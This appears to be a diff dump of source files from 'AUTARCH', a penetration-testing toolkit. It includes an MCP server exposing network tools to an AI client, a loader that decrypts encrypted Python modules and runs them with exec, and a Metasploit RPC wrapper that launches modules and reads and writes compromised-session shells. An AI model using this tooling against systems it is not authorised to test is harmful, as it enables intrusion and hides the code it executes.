def packet_capture(interface: str = "", count: int = 10, filter: str = "") -> str:
"""Capture network packets using tcpdump. Returns captured packet summary."""
return execute_tool('packet_capture', {'interface': interface, 'count': count, 'filter': filter})
@mcp.tool()
def wireguard_status() -> str:
"""Get WireGuard VPN tunnel status and peer information."""
return execute_tool('wireguard_status', {})
@mcp.tool()
def upnp_status() -> str:
"""Get UPnP port mapping status."""
return execute_tool('upnp_status', {})
@mcp.tool()
def system_info() -> str:
"""Get AUTARCH system information: hostname, platform, uptime, tool availability."""
return execute_tool('system_info', {})
@mcp.tool()
def llm_chat(message: str, system_prompt: str = "") -> str:
"""Send a message to the currently configured LLM backend and get a response."""
args = {'message': message}
if system_prompt:
args['system_prompt'] = system_prompt
return execute_tool('llm_chat', args)
@mcp.tool()
def android_devices() -> str:
"""List connected Android devices via ADB."""
return execute_tool('android_devices', {})
@mcp.tool()
def config_get(section: str, key: str) -> str:
"""Get an AUTARCH configuration value. Sensitive keys (api_key, password) are blocked."""
return execute_tool('config_get', {'section': section, 'key': key})
return mcp
def run_stdio():
"""Run the MCP server in stdio mode (for Claude Desktop / Claude Code)."""
mcp = create_mcp_server()
mcp.run(transport='stdio')
def run_sse(host: str = '0.0.0.0', port: int = 8081):
"""Run the MCP server in SSE (Server-Sent Events) mode for web clients."""
mcp = create_mcp_server()
mcp.run(transport='sse', host=host, port=port)
def get_mcp_config_snippet() -> str:
"""Generate the JSON config snippet for Claude Desktop / Claude Code."""
app_dir = get_app_dir()
python = sys.executable
config = {
"mcpServers": {
"autarch": {
"command": python,
"args": [str(app_dir / "core" / "mcp_server.py"), "--stdio"],
"env": {}
}
}
}
return json.dumps(config, indent=2)
def get_server_status() -> dict:
"""Check if the MCP server is running."""
global _server_process
if _server_process and _server_process.poll() is None:
return {'running': True, 'pid': _server_process.pid, 'mode': 'sse'}
return {'running': False}
def start_sse_server(host: str = '0.0.0.0', port: int = 8081) -> dict:
"""Start the MCP SSE server in the background."""
global _server_process
status = get_server_status()
if status['running']:
return {'ok': False, 'error': f'Already running (PID {status["pid"]})'}
python = sys.executable
script = str(Path(__file__).resolve())
_server_process = subprocess.Popen(
[python, script, '--sse', '--host', host, '--port', str(port)],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
return {'ok': True, 'pid': _server_process.pid, 'host': host, 'port': port}
def stop_sse_server() -> dict:
"""Stop the MCP SSE server."""
global _server_process
status = get_server_status()
if not status['running']:
return {'ok': False, 'error': 'Not running'}
_server_process.terminate()
try:
_server_process.wait(timeout=5)
except subprocess.TimeoutExpired:
_server_process.kill()
_server_process = None
return {'ok': True}
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='AUTARCH MCP Server')
parser.add_argument('--stdio', action='store_true', help='Run in stdio mode (for Claude Desktop/Code)')
parser.add_argument('--sse', action='store_true', help='Run in SSE mode (for web clients)')
parser.add_argument('--host', default='0.0.0.0', help='SSE host (default: 0.0.0.0)')
parser.add_argument('--port', type=int, default=8081, help='SSE port (default: 8081)')
args = parser.parse_args()
if args.sse:
print(f"Starting AUTARCH MCP server (SSE) on {args.host}:{args.port}")
run_sse(host=args.host, port=args.port)
else:
# Default to stdio
run_stdio()

3042
core/menu.py Normal file

File diff suppressed because it is too large Load Diff

239
core/module_crypto.py Normal file
View File

@ -0,0 +1,239 @@
"""
AUTARCH Encrypted Module Cryptography
AES-256-CBC encryption with PBKDF2-HMAC-SHA512 key derivation
and SHA-512 integrity verification.
File format (.autarch):
Offset Size Field
0 4 Magic: b'ATCH'
4 1 Version: 0x01
5 32 PBKDF2 salt
37 16 AES IV
53 64 SHA-512 hash of plaintext (integrity check)
117 2 Metadata JSON length (uint16 LE)
119 N Metadata JSON (UTF-8)
119+N ... AES-256-CBC ciphertext (PKCS7 padded)
"""
import hashlib
import hmac
import json
import os
import struct
from pathlib import Path
from typing import Optional
MAGIC = b'ATCH'
VERSION = 0x01
KDF_ITERS = 260000 # PBKDF2 iterations (NIST recommended minimum for SHA-512)
SALT_LEN = 32
IV_LEN = 16
HASH_LEN = 64 # SHA-512 digest length
# ── Low-level AES (pure stdlib, no pycryptodome required) ────────────────────
# Uses Python's hashlib-backed AES via the cryptography package if available,
# otherwise falls back to pycryptodome, then to a bundled pure-Python AES.
def _get_aes():
"""Return (encrypt_func, decrypt_func) pair."""
try:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as sym_padding
from cryptography.hazmat.backends import default_backend
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
padder = sym_padding.PKCS7(128).padder()
padded = padder.update(plaintext) + padder.finalize()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
enc = cipher.encryptor()
return enc.update(padded) + enc.finalize()
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
dec = cipher.decryptor()
padded = dec.update(ciphertext) + dec.finalize()
unpadder = sym_padding.PKCS7(128).unpadder()
return unpadder.update(padded) + unpadder.finalize()
return encrypt, decrypt
except ImportError:
pass
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(pad(plaintext, 16))
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext), 16)
return encrypt, decrypt
except ImportError:
raise RuntimeError(
"No AES backend available. Install one:\n"
" pip install cryptography\n"
" pip install pycryptodome"
)
_aes_encrypt, _aes_decrypt = _get_aes()
# ── Key derivation ────────────────────────────────────────────────────────────
def _derive_key(password: str, salt: bytes) -> bytes:
"""Derive a 32-byte AES key from a password using PBKDF2-HMAC-SHA512."""
return hashlib.pbkdf2_hmac(
'sha512',
password.encode('utf-8'),
salt,
KDF_ITERS,
dklen=32,
)
# ── Public API ────────────────────────────────────────────────────────────────
def encrypt_module(
source_code: str,
password: str,
metadata: Optional[dict] = None,
) -> bytes:
"""
Encrypt a Python module source string.
Returns the raw .autarch file bytes.
"""
meta_bytes = json.dumps(metadata or {}).encode('utf-8')
plaintext = source_code.encode('utf-8')
salt = os.urandom(SALT_LEN)
iv = os.urandom(IV_LEN)
key = _derive_key(password, salt)
digest = hashlib.sha512(plaintext).digest()
ciphertext = _aes_encrypt(key, iv, plaintext)
meta_len = len(meta_bytes)
header = (
MAGIC
+ struct.pack('B', VERSION)
+ salt
+ iv
+ digest
+ struct.pack('<H', meta_len)
)
return header + meta_bytes + ciphertext
def decrypt_module(data: bytes, password: str) -> tuple[str, dict]:
"""
Decrypt an .autarch blob.
Returns (source_code: str, metadata: dict).
Raises ValueError on bad magic, version, or integrity check failure.
"""
offset = 0
# Magic
if data[offset:offset + 4] != MAGIC:
raise ValueError("Not a valid AUTARCH encrypted module (bad magic)")
offset += 4
# Version
version = data[offset]
if version != VERSION:
raise ValueError(f"Unsupported module version: {version:#04x}")
offset += 1
# Salt
salt = data[offset:offset + SALT_LEN]
offset += SALT_LEN
# IV
iv = data[offset:offset + IV_LEN]
offset += IV_LEN
# SHA-512 integrity hash
stored_hash = data[offset:offset + HASH_LEN]
offset += HASH_LEN
# Metadata
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
offset += 2
meta_bytes = data[offset:offset + meta_len]
offset += meta_len
metadata = json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
# Ciphertext
ciphertext = data[offset:]
# Derive key and decrypt
key = _derive_key(password, salt)
try:
plaintext = _aes_decrypt(key, iv, ciphertext)
except Exception as exc:
raise ValueError(f"Decryption failed — wrong password? ({exc})")
# Integrity check
actual_hash = hashlib.sha512(plaintext).digest()
if not hmac.compare_digest(actual_hash, stored_hash):
raise ValueError("Integrity check failed — file tampered or wrong password")
return plaintext.decode('utf-8'), metadata
def encrypt_file(src: Path, dst: Path, password: str, metadata: Optional[dict] = None) -> None:
"""Encrypt a .py source file to a .autarch file."""
source = src.read_text(encoding='utf-8')
blob = encrypt_module(source, password, metadata)
dst.write_bytes(blob)
def decrypt_file(src: Path, password: str) -> tuple[str, dict]:
"""Decrypt an .autarch file and return (source_code, metadata)."""
return decrypt_module(src.read_bytes(), password)
def load_and_exec(
path: Path,
password: str,
module_name: str = '__encmod__',
) -> dict:
"""
Decrypt and execute an encrypted module.
Returns the module's globals dict (its namespace).
"""
source, meta = decrypt_file(path, password)
namespace: dict = {
'__name__': module_name,
'__file__': str(path),
'__builtins__': __builtins__,
}
exec(compile(source, str(path), 'exec'), namespace)
return namespace
def read_metadata(path: Path) -> Optional[dict]:
"""
Read only the metadata from an .autarch file without decrypting.
Returns None if the file is invalid.
"""
try:
data = path.read_bytes()
if data[:4] != MAGIC:
return None
offset = 5 + SALT_LEN + IV_LEN + HASH_LEN
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
offset += 2
meta_bytes = data[offset:offset + meta_len]
return json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
except Exception:
return None

1010
core/msf.py Normal file

File diff suppressed because it is too large Load Diff

846
core/msf_interface.py Normal file
View File

@ -0,0 +1,846 @@
"""
AUTARCH Metasploit Interface
Centralized high-level interface for all Metasploit operations.
This module provides a clean API for executing MSF modules, handling
connection management, output parsing, and error recovery.
Usage:
from core.msf_interface import get_msf_interface, MSFResult
msf = get_msf_interface()
result = msf.run_module('auxiliary/scanner/portscan/tcp', {'RHOSTS': '192.168.1.1'})
if result.success:
for finding in result.findings:
print(finding)
"""
import re
import time
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Any, Tuple
from enum import Enum
# Import the low-level MSF components
from core.msf import get_msf_manager, MSFError, MSFManager
from core.banner import Colors
class MSFStatus(Enum):
"""Status of an MSF operation."""
SUCCESS = "success"
PARTIAL = "partial" # Some results but also errors
FAILED = "failed"
AUTH_ERROR = "auth_error"
CONNECTION_ERROR = "connection_error"
TIMEOUT = "timeout"
NOT_CONNECTED = "not_connected"
@dataclass
class MSFResult:
"""Result from an MSF module execution."""
status: MSFStatus
module: str
target: str = ""
# Raw and cleaned output
raw_output: str = ""
cleaned_output: str = ""
# Parsed results
findings: List[str] = field(default_factory=list) # [+] lines
info: List[str] = field(default_factory=list) # [*] lines
errors: List[str] = field(default_factory=list) # [-] lines
warnings: List[str] = field(default_factory=list) # [!] lines
# For scan results
open_ports: List[Dict] = field(default_factory=list) # [{port, service, state}]
services: List[Dict] = field(default_factory=list) # [{name, version, info}]
# Metadata
execution_time: float = 0.0
error_count: int = 0
@property
def success(self) -> bool:
return self.status in (MSFStatus.SUCCESS, MSFStatus.PARTIAL)
def get_summary(self) -> str:
"""Get a brief summary of the result."""
if self.status == MSFStatus.SUCCESS:
return f"Success: {len(self.findings)} findings"
elif self.status == MSFStatus.PARTIAL:
return f"Partial: {len(self.findings)} findings, {self.error_count} errors"
elif self.status == MSFStatus.AUTH_ERROR:
return "Authentication token expired"
elif self.status == MSFStatus.CONNECTION_ERROR:
return "Connection to MSF failed"
elif self.status == MSFStatus.TIMEOUT:
return "Module execution timed out"
else:
return f"Failed: {self.errors[0] if self.errors else 'Unknown error'}"
class MSFInterface:
"""High-level interface for Metasploit operations."""
# Patterns to filter from output (banner noise, Easter eggs, etc.)
SKIP_PATTERNS = [
'metasploit', '=[ ', '+ -- --=[', 'Documentation:',
'Rapid7', 'Open Source', 'MAGIC WORD', 'PERMISSION DENIED',
'access security', 'access:', 'Ready...', 'Alpha E',
'Version 4.0', 'System Security Interface', 'Metasploit Park',
'exploits -', 'auxiliary -', 'payloads', 'encoders -',
'evasion', 'nops -', 'post -', 'msf6', 'msf5', 'msf >',
]
# Patterns indicating specific result types
PORT_PATTERN = re.compile(
r'(\d{1,5})/(tcp|udp)\s+(open|closed|filtered)?\s*(\S+)?',
re.IGNORECASE
)
SERVICE_PATTERN = re.compile(
r'\[\+\].*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*[-:]\s*(.+)',
re.IGNORECASE
)
VERSION_PATTERN = re.compile(
r'(?:version|running|server)[\s:]+([^\n\r]+)',
re.IGNORECASE
)
def __init__(self):
self._manager: Optional[MSFManager] = None
self._last_error: Optional[str] = None
@property
def manager(self) -> MSFManager:
"""Get or create the MSF manager."""
if self._manager is None:
self._manager = get_msf_manager()
return self._manager
@property
def is_connected(self) -> bool:
"""Check if connected to MSF RPC."""
return self.manager.is_connected
@property
def last_error(self) -> Optional[str]:
"""Get the last error message."""
return self._last_error
def ensure_connected(self, password: str = None, auto_prompt: bool = True) -> Tuple[bool, str]:
"""Ensure we have a valid connection to MSF RPC.
Args:
password: Optional password to use for connection.
auto_prompt: If True, prompt for password if needed.
Returns:
Tuple of (success, message).
"""
# Check if already connected
if self.is_connected:
# Verify the connection is actually valid with a test request
try:
self.manager.rpc.get_version()
return True, "Connected"
except Exception as e:
error_str = str(e)
if 'Invalid Authentication Token' in error_str:
# Token expired, need to reconnect
pass
else:
self._last_error = error_str
return False, f"Connection test failed: {error_str}"
# Need to connect or reconnect
try:
# Disconnect existing stale connection
if self.manager.rpc:
try:
self.manager.rpc.disconnect()
except:
pass
# Get password from settings or parameter
settings = self.manager.get_settings()
connect_password = password or settings.get('password')
if not connect_password and auto_prompt:
print(f"{Colors.YELLOW}[!] MSF RPC password required{Colors.RESET}")
connect_password = input(f" Password: ").strip()
if not connect_password:
self._last_error = "No password provided"
return False, "No password provided"
# Connect
self.manager.connect(connect_password)
return True, "Connected successfully"
except MSFError as e:
self._last_error = str(e)
return False, f"MSF Error: {e}"
except Exception as e:
self._last_error = str(e)
return False, f"Connection failed: {e}"
def _run_console_command(self, commands: str, timeout: int = 120) -> Tuple[str, Optional[str]]:
"""Execute commands via MSF console and capture output.
Args:
commands: Newline-separated commands to run.
timeout: Maximum wait time in seconds.
Returns:
Tuple of (output, error_message).
"""
try:
# Create console
console = self.manager.rpc._request("console.create")
console_id = console.get("id")
if not console_id:
return "", "Failed to create console"
try:
# Wait for console to initialize and consume banner
time.sleep(2)
self.manager.rpc._request("console.read", [console_id])
# Send commands one at a time
for cmd in commands.strip().split('\n'):
cmd = cmd.strip()
if cmd:
self.manager.rpc._request("console.write", [console_id, cmd + "\n"])
time.sleep(0.3)
# Collect output
output = ""
waited = 0
idle_count = 0
while waited < timeout:
time.sleep(1)
waited += 1
result = self.manager.rpc._request("console.read", [console_id])
new_data = result.get("data", "")
if new_data:
output += new_data
idle_count = 0
else:
idle_count += 1
# Stop if not busy and idle for 3+ seconds
if not result.get("busy", False) and idle_count >= 3:
break
# Check for timeout
if waited >= timeout:
return output, "Execution timed out"
return output, None
finally:
# Clean up console
try:
self.manager.rpc._request("console.destroy", [console_id])
except:
pass
except Exception as e:
error_str = str(e)
if 'Invalid Authentication Token' in error_str:
return "", "AUTH_ERROR"
return "", f"Console error: {e}"
def _clean_output(self, raw_output: str) -> str:
"""Remove banner noise and clean up MSF output.
Args:
raw_output: Raw console output.
Returns:
Cleaned output string.
"""
lines = []
for line in raw_output.split('\n'):
line_stripped = line.strip()
# Skip empty lines
if not line_stripped:
continue
# Skip banner/noise patterns
skip = False
for pattern in self.SKIP_PATTERNS:
if pattern.lower() in line_stripped.lower():
skip = True
break
if skip:
continue
# Skip prompt lines
if line_stripped.startswith('>') and len(line_stripped) < 5:
continue
# Skip set confirmations (we already show these)
if ' => ' in line_stripped and any(
line_stripped.startswith(opt) for opt in
['RHOSTS', 'RHOST', 'PORTS', 'LHOST', 'LPORT', 'THREADS']
):
continue
lines.append(line)
return '\n'.join(lines)
def _parse_output(self, cleaned_output: str, module_path: str) -> Dict[str, Any]:
"""Parse cleaned output into structured data.
Args:
cleaned_output: Cleaned console output.
module_path: The module that was run (for context).
Returns:
Dictionary with parsed results.
"""
result = {
'findings': [],
'info': [],
'errors': [],
'warnings': [],
'open_ports': [],
'services': [],
'error_count': 0,
}
is_scanner = 'scanner' in module_path.lower()
is_portscan = 'portscan' in module_path.lower()
for line in cleaned_output.split('\n'):
line_stripped = line.strip()
# Categorize by prefix
if '[+]' in line:
result['findings'].append(line_stripped)
# Try to extract port/service info from scanner results
if is_scanner:
# Look for IP:port patterns
service_match = self.SERVICE_PATTERN.search(line)
if service_match:
ip, port, info = service_match.groups()
result['services'].append({
'ip': ip,
'port': int(port),
'info': info.strip()
})
# Look for "open" port mentions
if is_portscan and 'open' in line.lower():
port_match = re.search(r':(\d+)\s', line)
if port_match:
result['open_ports'].append({
'port': int(port_match.group(1)),
'state': 'open'
})
elif '[-]' in line or 'Error:' in line:
# Count NoMethodError and similar spam but don't store each one
if 'NoMethodError' in line or 'undefined method' in line:
result['error_count'] += 1
else:
result['errors'].append(line_stripped)
elif '[!]' in line:
result['warnings'].append(line_stripped)
elif '[*]' in line:
result['info'].append(line_stripped)
return result
def run_module(
self,
module_path: str,
options: Dict[str, Any] = None,
timeout: int = 120,
auto_reconnect: bool = True
) -> MSFResult:
"""Execute an MSF module and return parsed results.
Args:
module_path: Full module path (e.g., 'auxiliary/scanner/portscan/tcp').
options: Module options dictionary.
timeout: Maximum execution time in seconds.
auto_reconnect: If True, attempt to reconnect on auth errors.
Returns:
MSFResult with parsed output.
"""
options = options or {}
target = options.get('RHOSTS', options.get('RHOST', ''))
start_time = time.time()
# Ensure connected
connected, msg = self.ensure_connected()
if not connected:
return MSFResult(
status=MSFStatus.NOT_CONNECTED,
module=module_path,
target=target,
errors=[msg]
)
# Build console commands
commands = f"use {module_path}\n"
for key, value in options.items():
commands += f"set {key} {value}\n"
commands += "run"
# Execute
raw_output, error = self._run_console_command(commands, timeout)
# Handle auth error with reconnect
if error == "AUTH_ERROR" and auto_reconnect:
connected, msg = self.ensure_connected()
if connected:
raw_output, error = self._run_console_command(commands, timeout)
else:
return MSFResult(
status=MSFStatus.AUTH_ERROR,
module=module_path,
target=target,
errors=["Session expired and reconnection failed"]
)
# Handle other errors
if error and error != "AUTH_ERROR":
if "timed out" in error.lower():
status = MSFStatus.TIMEOUT
else:
status = MSFStatus.FAILED
return MSFResult(
status=status,
module=module_path,
target=target,
raw_output=raw_output,
errors=[error]
)
# Clean and parse output
cleaned = self._clean_output(raw_output)
parsed = self._parse_output(cleaned, module_path)
execution_time = time.time() - start_time
# Determine status
if parsed['error_count'] > 0 and not parsed['findings']:
status = MSFStatus.FAILED
elif parsed['error_count'] > 0:
status = MSFStatus.PARTIAL
elif parsed['findings'] or parsed['info']:
status = MSFStatus.SUCCESS
else:
status = MSFStatus.SUCCESS # No output isn't necessarily an error
return MSFResult(
status=status,
module=module_path,
target=target,
raw_output=raw_output,
cleaned_output=cleaned,
findings=parsed['findings'],
info=parsed['info'],
errors=parsed['errors'],
warnings=parsed['warnings'],
open_ports=parsed['open_ports'],
services=parsed['services'],
execution_time=execution_time,
error_count=parsed['error_count']
)
def run_scanner(
self,
module_path: str,
target: str,
ports: str = None,
options: Dict[str, Any] = None,
timeout: int = 120
) -> MSFResult:
"""Convenience method for running scanner modules.
Args:
module_path: Scanner module path.
target: Target IP or range (RHOSTS).
ports: Port specification (optional).
options: Additional options.
timeout: Maximum execution time.
Returns:
MSFResult with scan results.
"""
opts = {'RHOSTS': target}
if ports:
opts['PORTS'] = ports
if options:
opts.update(options)
return self.run_module(module_path, opts, timeout)
def get_module_info(self, module_path: str) -> Optional[Dict[str, Any]]:
"""Get information about a module.
Args:
module_path: Full module path.
Returns:
Module info dictionary or None.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return None
try:
# Determine module type from path
parts = module_path.split('/')
if len(parts) < 2:
return None
module_type = parts[0]
module_name = '/'.join(parts[1:])
info = self.manager.rpc.get_module_info(module_type, module_name)
return {
'name': info.name,
'description': info.description,
'author': info.author,
'type': info.type,
'rank': info.rank,
'references': info.references
}
except Exception as e:
self._last_error = str(e)
return None
def get_module_options(self, module_path: str) -> Optional[Dict[str, Any]]:
"""Get available options for a module.
Args:
module_path: Full module path.
Returns:
Options dictionary or None.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return None
try:
parts = module_path.split('/')
if len(parts) < 2:
return None
module_type = parts[0]
module_name = '/'.join(parts[1:])
return self.manager.rpc.get_module_options(module_type, module_name)
except Exception as e:
self._last_error = str(e)
return None
def search_modules(self, query: str) -> List[str]:
"""Search for modules matching a query.
Args:
query: Search query.
Returns:
List of matching module paths.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return []
try:
results = self.manager.rpc.search_modules(query)
# Results are typically dicts with 'fullname' key
if isinstance(results, list):
return [r.get('fullname', r) if isinstance(r, dict) else str(r) for r in results]
return []
except Exception as e:
self._last_error = str(e)
return []
def list_modules(self, module_type: str = None) -> List[str]:
"""List available modules by type.
Args:
module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop).
If None, returns all modules.
Returns:
List of module paths.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return []
try:
return self.manager.rpc.list_modules(module_type)
except Exception as e:
self._last_error = str(e)
return []
def list_sessions(self) -> Dict[str, Any]:
"""List active MSF sessions.
Returns:
Dictionary of session IDs to session info.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return {}
try:
return self.manager.rpc.list_sessions()
except Exception as e:
self._last_error = str(e)
return {}
def list_jobs(self) -> Dict[str, Any]:
"""List running MSF jobs.
Returns:
Dictionary of job IDs to job info.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return {}
try:
return self.manager.rpc.list_jobs()
except Exception as e:
self._last_error = str(e)
return {}
def stop_job(self, job_id: str) -> bool:
"""Stop a running job.
Args:
job_id: Job ID to stop.
Returns:
True if stopped successfully.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False
try:
return self.manager.rpc.stop_job(job_id)
except Exception as e:
self._last_error = str(e)
return False
def execute_module_job(
self,
module_path: str,
options: Dict[str, Any] = None
) -> Tuple[bool, Optional[str], Optional[str]]:
"""Execute a module as a background job (non-blocking).
This is different from run_module() which uses console and captures output.
Use this for exploits and long-running modules that should run in background.
Args:
module_path: Full module path.
options: Module options.
Returns:
Tuple of (success, job_id, error_message).
"""
connected, msg = self.ensure_connected()
if not connected:
return False, None, msg
try:
parts = module_path.split('/')
if len(parts) < 2:
return False, None, "Invalid module path"
module_type = parts[0]
module_name = '/'.join(parts[1:])
result = self.manager.rpc.execute_module(module_type, module_name, options or {})
job_id = result.get('job_id')
if job_id is not None:
return True, str(job_id), None
else:
# Check for error in result
error = result.get('error_message') or result.get('error') or "Unknown error"
return False, None, str(error)
except Exception as e:
self._last_error = str(e)
return False, None, str(e)
def session_read(self, session_id: str) -> Tuple[bool, str]:
"""Read from a session shell.
Args:
session_id: Session ID.
Returns:
Tuple of (success, output).
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False, ""
try:
output = self.manager.rpc.session_shell_read(session_id)
return True, output
except Exception as e:
self._last_error = str(e)
return False, ""
def session_write(self, session_id: str, command: str) -> bool:
"""Write a command to a session shell.
Args:
session_id: Session ID.
command: Command to execute.
Returns:
True if written successfully.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False
try:
return self.manager.rpc.session_shell_write(session_id, command)
except Exception as e:
self._last_error = str(e)
return False
def session_stop(self, session_id: str) -> bool:
"""Stop/kill a session.
Args:
session_id: Session ID.
Returns:
True if stopped successfully.
"""
connected, _ = self.ensure_connected(auto_prompt=False)
if not connected:
return False
try:
return self.manager.rpc.session_stop(session_id)
except Exception as e:
self._last_error = str(e)
return False
def run_console_command(self, command: str, timeout: int = 30) -> Tuple[bool, str]:
"""Run a raw console command and return output.
This is a lower-level method for direct console access.
Args:
command: Console command to run.
timeout: Timeout in seconds.
Returns:
Tuple of (success, output).
"""
connected, msg = self.ensure_connected()
if not connected:
return False, msg
try:
output = self.manager.rpc.run_console_command(command, timeout=timeout)
return True, output
except Exception as e:
self._last_error = str(e)
return False, str(e)
def print_result(self, result: MSFResult, verbose: bool = False):
"""Print a formatted result to the console.
Args:
result: MSFResult to print.
verbose: If True, show all output including info lines.
"""
print(f"\n{Colors.CYAN}Module Output:{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
if result.status == MSFStatus.NOT_CONNECTED:
print(f" {Colors.RED}[X] Not connected to Metasploit{Colors.RESET}")
if result.errors:
print(f" {result.errors[0]}")
elif result.status == MSFStatus.AUTH_ERROR:
print(f" {Colors.RED}[X] Authentication failed{Colors.RESET}")
elif result.status == MSFStatus.TIMEOUT:
print(f" {Colors.YELLOW}[!] Execution timed out{Colors.RESET}")
else:
# Print findings (green)
for line in result.findings:
print(f" {Colors.GREEN}{line}{Colors.RESET}")
# Print info (cyan) - only in verbose mode
if verbose:
for line in result.info:
print(f" {Colors.CYAN}{line}{Colors.RESET}")
# Print warnings (yellow)
for line in result.warnings:
print(f" {Colors.YELLOW}{line}{Colors.RESET}")
# Print errors (dim)
for line in result.errors:
print(f" {Colors.DIM}{line}{Colors.RESET}")
# Summarize error count if high
if result.error_count > 0:
print(f"\n {Colors.YELLOW}[!] {result.error_count} errors occurred during execution{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}")
# Print summary
if result.execution_time > 0:
print(f" {Colors.DIM}Time: {result.execution_time:.1f}s{Colors.RESET}")
print(f" {Colors.DIM}Status: {result.get_summary()}{Colors.RESET}")
# Print parsed port/service info if available
if result.open_ports:
print(f"\n {Colors.GREEN}Open Ports:{Colors.RESET}")
for port_info in result.open_ports:
print(f" {port_info['port']}/tcp - {port_info.get('state', 'open')}")
if result.services:
print(f"\n {Colors.GREEN}Services Detected:{Colors.RESET}")
for svc in result.services:
print(f" {svc['ip']}:{svc['port']} - {svc['info']}")
# Global instance
_msf_interface: Optional[MSFInterface] = None
def get_msf_interface() -> MSFInterface:
"""Get the global MSF interface instance."""
global _msf_interface
if _msf_interface is None:
_msf_interface = MSFInterface()
return _msf_interface

1192
core/msf_modules.py Normal file

File diff suppressed because it is too large Load Diff

1124
core/msf_terms.py Normal file

File diff suppressed because it is too large Load Diff

263
core/paths.py Normal file
View File

@ -0,0 +1,263 @@
"""
AUTARCH Path Resolution
Centralized path management for cross-platform portability.
All paths resolve relative to the application root directory.
Tool lookup checks project directories first, then system PATH.
"""
import os
import platform
import shutil
from pathlib import Path
from typing import Optional, List
# ── Application Root ────────────────────────────────────────────────
# Computed once: the autarch project root (parent of core/)
_APP_DIR = Path(__file__).resolve().parent.parent
def get_app_dir() -> Path:
"""Return the AUTARCH application root directory."""
return _APP_DIR
def get_core_dir() -> Path:
return _APP_DIR / 'core'
def get_modules_dir() -> Path:
return _APP_DIR / 'modules'
def get_data_dir() -> Path:
d = _APP_DIR / 'data'
d.mkdir(parents=True, exist_ok=True)
return d
def get_config_path() -> Path:
return _APP_DIR / 'autarch_settings.conf'
def get_results_dir() -> Path:
d = _APP_DIR / 'results'
d.mkdir(parents=True, exist_ok=True)
return d
def get_reports_dir() -> Path:
d = get_results_dir() / 'reports'
d.mkdir(parents=True, exist_ok=True)
return d
def get_dossiers_dir() -> Path:
d = _APP_DIR / 'dossiers'
d.mkdir(parents=True, exist_ok=True)
return d
def get_uploads_dir() -> Path:
d = get_data_dir() / 'uploads'
d.mkdir(parents=True, exist_ok=True)
return d
def get_backups_dir() -> Path:
d = _APP_DIR / 'backups'
d.mkdir(parents=True, exist_ok=True)
return d
def get_templates_dir() -> Path:
return _APP_DIR / '.config'
def get_custom_configs_dir() -> Path:
d = _APP_DIR / '.config' / 'custom'
d.mkdir(parents=True, exist_ok=True)
return d
# ── Platform Detection ──────────────────────────────────────────────
def _get_arch() -> str:
"""Return architecture string: 'x86_64', 'arm64', etc."""
machine = platform.machine().lower()
if machine in ('aarch64', 'arm64'):
return 'arm64'
elif machine in ('x86_64', 'amd64'):
return 'x86_64'
return machine
def get_platform() -> str:
"""Return platform: 'linux', 'windows', or 'darwin'."""
return platform.system().lower()
def get_platform_tag() -> str:
"""Return platform-arch tag like 'linux-arm64', 'windows-x86_64'."""
return f"{get_platform()}-{_get_arch()}"
def is_windows() -> bool:
return platform.system() == 'Windows'
def is_linux() -> bool:
return platform.system() == 'Linux'
def is_mac() -> bool:
return platform.system() == 'Darwin'
# ── Tool / Binary Lookup ───────────────────────────────────────────
#
# Priority order:
# 1. System PATH (shutil.which — native binaries, correct arch)
# 2. Platform-specific well-known install locations
# 3. Platform-specific project tools (tools/linux-arm64/, etc.)
# 4. Generic project directories (android/, tools/, bin/)
# 5. Extra paths passed by caller
#
# Well-known install locations by platform (last resort)
_PLATFORM_SEARCH_PATHS = {
'windows': [
Path(os.environ.get('LOCALAPPDATA', '')) / 'Android' / 'Sdk' / 'platform-tools',
Path(os.environ.get('USERPROFILE', '')) / 'Android' / 'Sdk' / 'platform-tools',
Path('C:/Program Files (x86)/Nmap'),
Path('C:/Program Files/Nmap'),
Path('C:/Program Files/Wireshark'),
Path('C:/Program Files (x86)/Wireshark'),
Path('C:/metasploit-framework/bin'),
],
'darwin': [
Path('/opt/homebrew/bin'),
Path('/usr/local/bin'),
],
'linux': [
Path('/usr/local/bin'),
Path('/snap/bin'),
],
}
# Tools that need extra environment setup when run from bundled copies
_TOOL_ENV_SETUP = {
'nmap': '_setup_nmap_env',
}
def _setup_nmap_env(tool_path: str):
"""Set NMAPDIR so bundled nmap finds its data files."""
tool_dir = Path(tool_path).parent
nmap_data = tool_dir / 'nmap-data'
if nmap_data.is_dir():
os.environ['NMAPDIR'] = str(nmap_data)
def _is_native_binary(path: str) -> bool:
"""Check if an ELF binary matches the host architecture."""
try:
with open(path, 'rb') as f:
magic = f.read(20)
if magic[:4] != b'\x7fELF':
